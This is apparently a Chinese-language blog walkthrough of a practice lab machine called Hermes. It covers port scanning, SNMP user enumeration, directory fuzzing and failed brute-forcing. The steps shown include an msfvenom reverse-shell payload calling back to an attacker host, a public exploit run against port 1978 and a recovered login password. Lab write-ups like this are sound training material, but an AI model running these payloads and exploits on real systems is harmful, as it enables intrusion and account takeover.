Challenge 4 - Hermes
Challenge 4 - Hermes
起手式 └─$ rustscan -a 192.168.244.145 --scripts none --ulimit 5000 | tee rustscan
└─$ sudo nmap -sVC -p 21,80,135,139,445,1978,3389,7680 192.168.244.145 | tee nmap
21-FTP、80-Web、1978-?、7680
└─$ sudo nmap -sU -p 161 192.168.244.145 | tee nmap-snmp
結果 SNMP 161 有開,又是 Windows,那就馬上列舉一下使用者,有用的三個
- Administrator
- offsec
- zachary
紀錄一下 Web Type└─$ whatweb http://192.168.244.145 | tee whatweb
網頁開啟來看一下,這裡可以輸入但事實上沒有用因為連 POST 都沒有
gobuster,└─$ gobuster -w dirfuzzing.txt dir -u http://192.168.244.145 -t 150 -x txt,pdf,config,git,php,aspx | tee gobuster,結果逛了一圈也沒戲
有使用者,有 FTP、SMB、RDP,當然試試看 hydra,結果一樣都沒有破
這跑很久......官方有說 10 分鐘沒出來就絕對不是答案,所以跳過繼續列舉,換一個 nmap 的腳本再試試看,└─$ sudo nmap -sV -sC -p 139,445 192.168.244.145 --script smb-enum-shares.nse
沒有分享的資料匣,還是沒戲
這一篇 https://your-it-note.blogspot.com/2023/09/public-exploits_4.html 當中有 1978 Port
利用一樣的 Exploit 試試看,先包 payload
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.208 LPORT=4444 -f exe -o shell.exe
包完直接執行 └─$ python 50972.py 192.168.244.145 192.168.45.208 shell.exe
nc-4444 進來了,whoami 看一下
拿到帳號與密碼 zachary:Th3R@tC@tch3r
RDP 進去拿到答案└─$ xfreerdp /u:zachary /p:'Th3R@tC@tch3r' /v:192.168.244.145
留言
張貼留言